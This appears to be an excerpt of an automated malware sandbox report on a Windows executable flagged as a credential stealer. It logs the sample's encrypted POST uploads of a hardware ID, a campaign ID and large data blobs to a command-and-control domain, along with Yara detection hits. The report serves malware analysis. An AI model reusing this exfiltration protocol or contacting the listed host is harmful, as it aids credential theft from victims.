2024-12-16 09:18:53 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uvupnho36ca8mnp5si7dqhcefl; expires=Fri, 11-Apr-2025 03:05:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VqgpOcHQrnbaINEJf25MyLO4egHtlznNd69U1yNZCwNhxHI%2BTL9zrIJKU2Pf8LNwpXzUVIC8YzQDOIGUFQKmZrW2LFeqbEkcV1hjNX1evsmjDgakT%2Bw5mBrH%2FOmxsnJegqk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d96aede0b5e79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1699&min_rtt=1688&rtt_var=656&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2839&recv_bytes=16009&delivery_rate=1639528&cwnd=222&unsent_bytes=0&cid=2adfa8bd0cf709c8&ts=733&x=0"
2024-12-16 09:18:53 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 09:18:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49746	172.67.164.37	443	7316	C:\Users\user\Desktop\hiip7UoiAq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:18:55 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=H07FML2CWXHZKZRYC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20573 Host: tacitglibbr.biz
2024-12-16 09:18:55 UTC	15331	OUT	Data Raw: 2d 2d 48 30 37 46 4d 4c 32 43 57 58 48 5a 4b 5a 52 59 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 42 43 38 38 44 33 46 42 37 33 45 45 30 41 31 46 39 46 31 42 37 31 33 36 41 31 45 30 43 35 45 0d 0a 2d 2d 48 30 37 46 4d 4c 32 43 57 58 48 5a 4b 5a 52 59 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 48 30 37 46 4d 4c 32 43 57 58 48 5a 4b 5a 52 59 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d Data Ascii: --H07FML2CWXHZKZRYCContent-Disposition: form-data; name="hwid"2BC88D3FB73EE0A1F9F1B7136A1E0C5E--H07FML2CWXHZKZRYCContent-Disposition: form-data; name="pid"3--H07FML2CWXHZKZRYCContent-Disposition: form-data; name="lid"PsFKDg--pablo-
2024-12-16 09:18:55 UTC	5242	OUT	Data Raw: cb a5 d1 7c a5 91 90 6c b4 51 98 a9 b7 4a 24 6e 49 6e c9 56 ca e5 5a 2b a1 3f 3a 9e b9 75 bf a2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ac 73 7d 51 30 b7 ee a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 ae 3f 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce f5 45 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 fe 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a d7 17 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: \|lQJ$nInVZ+?:us}Q0u?4E([:s~
2024-12-16 09:18:56 UTC	1024	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b04p7spdg5fpt28u0jrv1kkl5f; expires=Fri, 11-Apr-2025 03:05:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W7%2Ba0qAyhBfxxlekvYK4JFl%2BuEP0H6wK5PWvXmabn%2FG1ZY%2BJmUIXKzFZ%2Blm0nWU95mNJeFOYKQNy72PN%2FeN9p74xMbKtyqKd344p1l%2FeP6MOPusBjDazLSkIkUTisjz8TmU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d96bc8caa431f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1845&min_rtt=1839&rtt_var=703&sent=13&recv=24&lost=0&retrans=0&sent_bytes=2840&recv_bytes=21533&delivery_rate=1541710&cwnd=249&unsent_bytes=0&cid=5737c517cf6b57f0&ts=1588&x=0"
2024-12-16 09:18:56 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 09:18:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49759	172.67.164.37	443	7316	C:\Users\user\Desktop\hiip7UoiAq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:18:58 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6Y8AZYXG34ZW2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1190 Host: tacitglibbr.biz
2024-12-16 09:18:58 UTC	1190	OUT	Data Raw: 2d 2d 36 59 38 41 5a 59 58 47 33 34 5a 57 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 42 43 38 38 44 33 46 42 37 33 45 45 30 41 31 46 39 46 31 42 37 31 33 36 41 31 45 30 43 35 45 0d 0a 2d 2d 36 59 38 41 5a 59 58 47 33 34 5a 57 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 59 38 41 5a 59 58 47 33 34 5a 57 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 36 59 38 41 5a 59 58 47 33 34 5a Data Ascii: --6Y8AZYXG34ZW2Content-Disposition: form-data; name="hwid"2BC88D3FB73EE0A1F9F1B7136A1E0C5E--6Y8AZYXG34ZW2Content-Disposition: form-data; name="pid"1--6Y8AZYXG34ZW2Content-Disposition: form-data; name="lid"PsFKDg--pablo--6Y8AZYXG34Z
2024-12-16 09:18:59 UTC	1013	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:18:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m2qk2svlc8nosc64r1im8ef72k; expires=Fri, 11-Apr-2025 03:05:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9SNQ5FPbP7TEoW1GjbhRum1BKz8Rwg9eFeBLLYCf5G4vuXYduk3U1p801eZOzFMdOjuV5Xvhftse7VmS6rJwyWdprjYr9kw6ULLtykCK3haOS25l%2FpUgljOXAjop3%2FLG%2B6M%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d96d238438c45-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1935&min_rtt=1929&rtt_var=736&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2839&recv_bytes=2101&delivery_rate=1474003&cwnd=215&unsent_bytes=0&cid=3d3172aa09ecd725&ts=1026&x=0"
2024-12-16 09:18:59 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-16 09:18:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49765	172.67.164.37	443	7316	C:\Users\user\Desktop\hiip7UoiAq.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 09:19:01 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=49HU2M1G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 585623 Host: tacitglibbr.biz
2024-12-16 09:19:01 UTC	15331	OUT	Data Raw: 2d 2d 34 39 48 55 32 4d 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 32 42 43 38 38 44 33 46 42 37 33 45 45 30 41 31 46 39 46 31 42 37 31 33 36 41 31 45 30 43 35 45 0d 0a 2d 2d 34 39 48 55 32 4d 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 34 39 48 55 32 4d 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 34 39 48 55 32 4d 31 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 Data Ascii: --49HU2M1GContent-Disposition: form-data; name="hwid"2BC88D3FB73EE0A1F9F1B7136A1E0C5E--49HU2M1GContent-Disposition: form-data; name="pid"1--49HU2M1GContent-Disposition: form-data; name="lid"PsFKDg--pablo--49HU2M1GContent-Disposit
2024-12-16 09:19:01 UTC	15331	OUT	Data Raw: e7 dd 43 3c b1 b3 b6 03 35 c5 e7 35 5c b9 f7 fa 31 92 bd 73 7f 5e 19 d7 16 55 db 0b db 37 56 31 08 86 94 4b 3c 7c d3 92 57 9f a9 47 cd 62 f6 ec 59 de 9e 02 af 66 5b 0f a0 c3 cf d4 9a 82 a6 26 b5 34 9a ee a4 74 42 9f e8 09 90 f2 28 2a 26 36 71 79 c3 3f 7e 79 84 fd 3d fb 1e 7e 36 74 16 55 6f cc b4 c9 6f 12 11 36 50 26 16 0c ed a4 58 90 71 3d b8 29 f1 bf 75 da f7 a9 67 96 4b 6f 7c 7a 40 61 aa 3d 65 b9 a4 17 7c af d1 6d 34 58 d4 e3 e8 17 b4 b4 2e dc 07 06 48 ba bc bc 8d e7 81 56 f0 28 67 61 4a f8 91 ca eb 03 c9 ae 86 8d e5 9d 95 16 b8 e7 28 b2 5d db 8b 25 7b 14 79 16 d5 19 a3 46 77 10 ef 8e d7 e5 73 ce 3d 62 7c 3c 3f a6 f5 07 6b 54 d6 f5 85 aa 6e 94 2f ec 45 45 d5 6e 58 64 e0 34 fa de 27 25 69 6e af 64 33 8d c3 8f 46 dd 9b d9 d3 ac 07 61 e7 7c 5f 6b 42 a5 0d Data Ascii: C<55\1s^U7V1K<\|WGbYf[&4tB(*&6qy?~y=~6tUoo6P&Xq=)ugKo\|z@a=e\|m4X.HV(gaJ(]%{yFws=b\|<?kTn/EEnXd4'%ind3Fa\|_kB
2024-12-16 09:19:01 UTC	15331	OUT	Data Raw: be 6a 31 49 c3 c5 84 50 d9 fb 75 8b 90 60 61 02 fd 0a 8d a9 d7 93 a3 61 fc 91 73 24 d3 d6 10 34 3f 67 cc 27 dc 4b 76 cb ac 9d 91 3f 67 43 3a 6a 41 b9 a1 78 30 a5 3b 39 82 8a 02 62 a2 22 e0 5d 7f ab 3e f8 b9 94 75 6c 67 f0 63 f5 d3 26 9a 2c 7e b2 cc 95 92 fd 8b 11 cb 89 48 ab b2 01 b6 43 23 f7 ec 85 f1 cf c2 20 1e 45 7d cc 6a 95 fe 36 9e 55 44 8c 9c 15 1d 21 ad f1 f7 f7 6e 5f 64 96 2d 3b db 94 8e 65 4a ff 6f c3 55 5b 8d 98 21 93 d5 9a ff 98 12 d5 eb 51 41 53 2f a2 07 9c 13 b7 1a e2 d3 d5 0b 76 4b f6 a8 20 f3 26 94 21 e1 d1 f3 81 ab 16 07 9f fa fc 9a e1 0e 00 7d 4b 21 a0 26 a4 68 6a 53 94 fb 9a 59 fd 39 0f bf d8 5a 19 f2 96 3d df af 53 f2 fa 7d 97 36 46 2d 2f d7 3f 0f c1 e3 17 3f ee 42 c3 32 93 cd b7 3d e7 3f da b9 f0 30 b4 d1 20 0f 51 3e 3a c7 9c 7f 29 14 Data Ascii: j1IPu`aas$4?g'Kv?gC:jAx0;9b"]>ulgc&,~HC# E}j6UD!n_d-;eJoU[!QAS/vK &!}K!&hjSY9Z=S}6F-/??B2=?0 Q>:)
2024-12-16 09:19:01 UTC	15331	OUT	Data Raw: 4f 25 c2 ae b9 50 f2 7c 9d 1b 01 f1 67 05 48 81 10 ab 92 66 47 df 29 74 a6 9c 06 7a 25 39 46 dc 00 33 e1 38 3f 30 a8 89 6a f3 c6 e9 19 e0 1a 0f b7 02 09 bf 08 6d b6 02 b9 5e b7 38 19 3e 71 e8 22 94 08 74 4d 45 2f bf 00 6b 14 c3 0e 20 5b 82 07 bf d8 4d 44 6c b4 6e 1b 79 d2 10 5f 33 c6 b5 f7 e6 2a df 58 a1 17 87 0e ec 1e ae 64 a4 31 93 1a 70 61 c4 eb 44 e2 60 30 0e 72 b8 0f c6 09 b0 a4 e5 fa 37 1a 82 c9 92 4c 0b 8d 0c d2 52 4f 20 f2 e1 2d 5c d8 6f 29 0a 29 15 bc 24 69 a6 f6 7c 8b 51 ab da ce 5f 24 ff 18 eb f7 9f 74 10 e2 d9 10 5b 45 ba 2b e4 a8 42 bd 4b 98 dd 73 9e 33 6c e7 00 1a c3 bb c2 6a 5c c3 37 c2 34 4e ac 95 c8 02 f8 1a 6c 4f fc 11 e9 b9 04 38 2a 32 5d a3 17 8e 8b 63 c8 2e e4 01 8b 29 92 df 5d bc 82 5e 6a 8d cb 7d 36 1a 0a 04 f2 00 16 df 4d 0b ec db Data Ascii: O%P\|gHfG)tz%9F38?0jm^8>q"tME/k [MDlny_3Xd1paD`0r7LRO -\o))$i\|Q_$t[E+BKs3lj\74NlO82]c.)]^j}6M
2024-12-16 09:19:01 UTC	15331	OUT	Data Raw: a8 50 05 63 49 2b 2b 2d 1c 2b 3e cf ad 5f 77 43 65 e0 b6 b6 f2 78 5e 5a 69 e7 e7 9f 7a 74 2f ec b0 39 24 23 ca 4f 68 8d 4f 64 72 54 d6 25 33 6d d7 d8 33 77 05 bb 08 ae 9e a0 34 7f 8f 3f f6 8b 22 30 f4 0c e7 c3 4d 26 46 96 98 3f 56 e8 81 bb bb 00 db 5d 4c 6a 58 8d 75 0c 66 17 6c 8a d0 ef 2c 25 ad f1 92 ed fd bb cc fb 20 b3 33 a9 45 63 61 da c3 a8 4b ad d2 0e a1 01 05 92 3b 45 d5 93 a2 ab 5e 21 3a e8 13 d7 ef 7d 8c 31 22 94 09 46 3e c0 56 81 23 62 9d 9a 77 43 52 60 16 0e 21 62 b3 c7 e6 7a 84 f0 e5 08 81 9d df 3c a1 03 69 72 16 5b 66 38 af 9d e2 7d 61 2f 3b d4 e2 49 78 83 16 e5 26 b7 a7 82 43 b6 36 da 6d c0 d9 54 79 fc ab 2a 03 ac 82 0d 14 db 3c bc 37 90 e8 ce 36 53 db 09 bb 7d 2a d6 9b 09 39 b9 c2 cc 8c 09 39 2d 8d 30 4b 21 40 b6 42 d5 d9 fe a9 8f 18 57 4c Data Ascii: PcI++-+>_wCex^Zizt/9$#OhOdrT%3m3w4?"0M&F?V]LjXufl,% 3EcaK;E^!:}1"F>V#bwCR`!bz<ir[f8}a/;Ix&C6mTy<76S}99-0K!@BWL
2024-12-16 09:19:01 UTC	15331	OUT	Data Raw: 42 6e 8e b0 32 0e a1 8e 98 a8 2d e8 54 ac 6b ab 40 ed c4 e2 a3 61 c7 c6 bf d9 56 1a a3 0b 9a 3b 54 ca 70 1d a7 6d ff 7d 26 d1 78 90 60 06 0f 6f ec db 0b 29 57 fc f8 57 0f 25 b1 b6 07 6c 97 c6 2c 5c 8e 93 b6 d1 41 cd f6 93 3c 31 a7 d3 ec 41 d2 4d 32 36 62 d0 58 da d4 e8 49 e4 64 05 39 4f 6c e3 62 b4 43 28 df a6 c7 3d 7c 8d 62 a6 f3 2c bf b0 f9 6a dd 93 4d 99 f0 a9 6d 5f 8d 2e 55 c3 a1 5e a8 5e 69 0d 98 18 9e d6 bc fa 03 1d 6e a7 31 52 93 e1 0d 44 d7 5c 04 17 f2 05 99 0a 1f eb ff 33 8f ae 6e dd bb 94 f1 22 b1 d5 b2 26 5d 7d 55 23 81 14 1d 26 cb bb 73 f2 b7 4c 98 dd f8 f0 80 af c7 b0 e1 6e 7e 41 5e 8c 66 c1 fe 05 85 54 5c ce d0 b6 dd e7 62 73 4e 93 d3 5c 86 11 a7 a5 18 7c 2d 43 9f c7 c0 3a 89 f3 51 2f 6b 33 23 84 a3 bd af 8a 50 f4 b0 e7 31 e1 92 73 3d 6f 28 Data Ascii: Bn2-Tk@aV;Tpm}&x`o)WW%l,\A<1AM26bXId9OlbC(=\|b,jMm_.U^^in1RD\3n"&]}U#&sLn~A^fT\bsN\\|-C:Q/k3#P1s=o(
2024-12-16 09:19:01 UTC	15331	OUT	Data Raw: df 67 93 17 77 41 d5 59 d1 90 b5 50 d7 16 29 6c 24 6d e8 c5 45 b7 b1 19 03 52 03 c1 f3 95 6d ea d4 f5 1f 93 69 ce fd 62 ec 91 09 52 22 87 e3 4a 55 62 af b4 70 3d 8e c3 43 63 80 36 f8 68 9a 83 c6 c4 65 d2 ed df 9f 0e 00 0b 6a 38 60 79 6f b0 ef 3d 44 8f 17 02 37 e3 6b 94 0e 5f 07 0b fa c9 e6 87 1f dd 91 3e 75 18 08 54 e2 32 da f7 3d 7a ee 0f 34 cc af ee 50 ae 5b 72 3d 5f 1d ea 6e 55 bc fe f6 ab 72 0e 99 40 f0 0a b9 7e 62 6e 3d 61 e0 a6 b0 eb 82 d0 58 95 b7 fe f1 a3 23 dc c1 fe 0d 97 77 21 c0 f6 b0 90 01 0a ae bc fe 06 a2 19 43 35 6f 51 f0 55 e2 d6 1d 2b 31 b0 17 8f 08 ae 99 ad de fb 94 f2 fa aa 94 1c 41 cc 73 d1 a4 9b 2a 34 3d b4 95 0a 4d 4d 8a c2 00 1a 63 e0 55 11 e6 88 31 51 21 f4 91 1f 74 83 d5 d5 0c e4 f9 1f 85 3c 82 68 9f 9e 51 33 65 e0 4e 19 8b 6e a9 Data Ascii: gwAYP)l$mERmibR"JUbp=Cc6hej8`yo=D7k_>uT2=z4P[r=_nUr@~bn=aX#w!C5oQU+1As*4=MMcU1Q!t<hQ3eNn
2024-12-16 09:19:01 UTC	15331	OUT	Data Raw: 77 0b 67 b3 96 29 b5 d2 26 b7 50 39 eb 1c 62 a9 a4 f3 7a dd 70 49 7d 4e 87 db a2 5f 46 85 d2 86 87 dd d6 b2 87 4e cf bf ed a8 2d 5e 7f c0 75 08 81 37 bf 84 d1 4d 85 34 ca d2 5b d2 e7 a4 c3 cc b4 c7 b2 2e 5e 70 a0 6e 30 2b c6 e9 bd 29 fb d2 9b 97 5f 9c f6 76 8e e9 2b 8f 8c 8c d5 97 b7 a9 b8 dc 40 5a d0 e8 20 55 5f 66 f6 b2 9f 97 1b ad 9b 8b f1 83 61 8e a9 43 0f c7 89 f5 e7 a6 90 c3 9c a4 43 a2 b6 84 b3 7e d5 e9 5d 21 03 d3 9d 86 4f 26 b4 f5 2c 96 b3 95 f6 91 77 65 8c 3b 25 7f ae 6a 40 6b e0 de 18 09 c7 74 79 ae 4f e2 e4 89 9b ff 2e 08 50 e4 a2 36 95 fa 49 e9 9b 81 e0 68 54 c8 67 a7 91 4e ee 89 c5 2f fa f9 8d 5d 86 41 f1 9b 5f e6 fe 69 f1 ab b6 d2 4e 61 b9 ac 6b d2 d3 13 c5 38 f0 a2 66 3c c9 92 d1 e0 bd 3e 24 d9 c5 b4 53 e6 a4 cc 6a ce 39 cd 26 f1 eb a3 c8 Data Ascii: wg)&P9bzpI}N_FN-^u7M4[.^pn0+)_v+@Z U_faCC~]!O&,we;%j@ktyO.P6IhTgN/]A_iNak8f<>$Sj9&
2024-12-16 09:19:01 UTC	15331	OUT	Data Raw: 81 37 93 09 ac 84 01 91 49 23 a1 50 6e 9b 8b 24 58 f6 d8 08 28 ca 4a 4d 43 cb 4f 36 39 78 e0 45 f1 b0 f4 fe 43 e3 e6 7e 50 d1 75 a2 cf a3 34 c9 2b 8e d6 e9 ce 99 a6 82 82 88 7d 5f 45 54 c8 a1 af 95 a7 ee 2a 30 cf 73 0a e3 69 b8 68 63 1e 49 c4 cd 3c bb 91 d5 2f c8 0a 0e 91 21 9e a8 4c 26 d4 1b e6 ef 0c 0d 7a b4 91 53 af bb ad a9 81 ef af 39 d5 4a b7 61 ee 87 ba ae 2a 2b 85 97 39 45 57 22 dc 23 e6 4b 86 9e f9 90 94 9f a0 0f c6 8c ff 2e 94 e6 05 6f 65 9f 42 2e 1b 5e 6a 55 8a e7 c7 7b 93 54 a4 f7 18 a1 38 ff 05 86 e1 40 cf 80 2d 8b 57 0d 67 74 2c cb 19 17 8f 23 07 c8 89 5f 2b 65 47 4e cd 4a 7d 54 92 e4 1f 56 a4 0a 34 03 9a 31 af 18 9f a4 e4 46 11 a0 6d c1 e7 bc aa dc 58 4d 2b c1 b8 0f c5 9c c5 8f 6f c1 24 26 da 7b 2c 3f 53 a9 8c ba 52 72 44 21 f2 98 fa 7e 7f Data Ascii: 7I#Pn$X(JMCO69xEC~Pu4+}_ET0sihcI</!L&zS9Ja+9EW"#K.oeB.^jU{T8@-Wgt,#_+eGNJ}TV41FmXM+o$&{,?SRrD!~
2024-12-16 09:19:01 UTC	15331	OUT	Data Raw: fb ee c8 3a 16 b4 98 4f 15 06 df 71 3f bb f4 65 e4 43 40 60 60 92 58 ae 5c ec d8 b5 fc fe 1e ef b7 2b f2 b4 e2 27 8a 9f 63 ac 15 9a b1 67 22 55 9b 5e 6d 8b 0f 64 f5 d4 88 78 fe ca f0 2c 67 98 31 4e 8a 60 d6 b3 9f 64 37 19 73 de 60 26 e6 ad ef 20 f4 7e a5 0e 44 d9 55 30 62 a1 2f 15 09 73 9b 47 b3 f4 68 84 db ed b6 10 3c 48 08 4c 1a 0b 38 f2 e2 df 36 09 a8 f6 06 cd 69 24 84 56 82 7d 2d ec 98 79 91 5a 1b 24 03 ad 97 fe 50 21 08 84 1d f2 7c 49 fb d8 3f b9 86 be f9 c1 13 e1 9e 66 9d 98 c1 3e a3 96 f6 26 a8 39 54 be ec 77 9d 85 79 80 d9 ec fd 42 6e f2 58 e1 f7 09 05 f3 41 73 e6 df 82 02 61 47 b1 04 24 e6 57 37 6e fb f9 8a 09 17 9d 32 f7 f6 b1 aa d7 f1 66 c1 3d 12 6d 57 26 cd 11 eb 00 f3 3f 15 f7 2c 4c 0b 9a ba b8 f5 3e d1 c1 2f 16 73 d1 4d 98 84 86 c0 bd 2a 1f Data Ascii: :Oq?eC@``X\+'cg"U^mdx,g1N`d7s`& ~DU0b/sGh<HL86i$V}-yZ$P!\|I?f>&9TwyBnXAsaG$W7n2f=mW&?,L>/sM*
2024-12-16 09:19:05 UTC	1021	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 09:19:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=349ecjb8fqkd858nh23j265vvh; expires=Fri, 11-Apr-2025 03:05:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kpjff6vDcUU9m0z4nsczVLPnURYBGBXVr85FXrndX0edbDo%2BUDE1Ux0Om2fCrVX75hD7pzIPP9Nf4%2BqACL%2FGOyUE9mW0F7eYou4kuY5NhQ1lR%2F8C5rWKrWBejIu5RUlxgI0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2d96e33aca43e8-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2440&min_rtt=2435&rtt_var=924&sent=205&recv=608&lost=0&retrans=0&sent_bytes=2839&recv_bytes=588203&delivery_rate=1177894&cwnd=214&unsent_bytes=0&cid=1be419411a83c9cc&ts=3598&x=0"

Target ID:	0
Start time:	04:18:38
Start date:	16/12/2024
Path:	C:\Users\user\Desktop\hiip7UoiAq.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\hiip7UoiAq.exe"
Imagebase:	0xc80000
File size:	1'848'832 bytes
MD5 hash:	68A13AA2834765A18FC577743C2BA964
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1435420192.0000000001643000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1489510243.000000000163F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1435134651.0000000001643000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1488545232.000000000163F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1519346910.000000000163F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1466936473.000000000163F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1466965670.0000000001651000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1436631841.0000000001643000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	62.7%
Total number of Nodes:	201
Total number of Limit Nodes:	20

Executed Functions

Function 00CB61E0 Relevance: 23.4, APIs: 5, Strings: 8, Instructions: 644
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32(FA46F8B5), ref: 00CB646B
